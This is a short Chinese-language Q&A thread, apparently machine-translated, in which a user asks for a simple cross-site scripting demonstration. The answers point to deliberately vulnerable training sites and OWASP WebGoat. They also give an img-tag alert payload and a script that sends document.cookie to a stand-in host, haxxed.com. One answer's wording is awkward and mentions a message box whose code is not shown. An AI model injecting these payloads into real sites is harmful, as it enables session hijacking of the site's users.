一個跨站點腳本攻擊的簡單例子

Question

有人能告訴我一個Cross-site scripting在我的瀏覽器上生效嗎？互聯網上有這樣的例子嗎？我沒有在互聯網上找到這個。

這個例子越簡單越好。

Answer 1

見http://www.insecurelabs.org和http://www.insecurelabs.org/task/

故意易受XSS在搜索領域和其他幾個地方。

Answer 2

您通常必須安裝您自己的服務器端軟件以用於實時XSS示例。沒有多少合法網站會故意向網上衝浪者開放XSS漏洞。

一個現成的服務器端軟件讓你可以向自己演示XSS（其他的東西）是OWASP的WebGoat。這裏是instructions to install WebGoat and demonstrate XSS。您將在OWASP文章「Cross-site scripting (XSS)」中找到啓用XSS的程序片段的其他示例。

Answer 3

<img src="javascript:alert('hello everybody')"></img> 我插入的圖片標籤是一個xss的例子。上面的src包含提醒你的java腳本。

Answer 4

簡單形式也將是： 如果消息框顯示，您知道，頁面或服務器是脆弱的。

<script>window.location = 'haxxed.com? cookie=' + document.cookie</script> 

怎樣的技術工作可以在這裏找到一個偉大的樣本 https://www.hacksplaining.com/exercises/xss-stored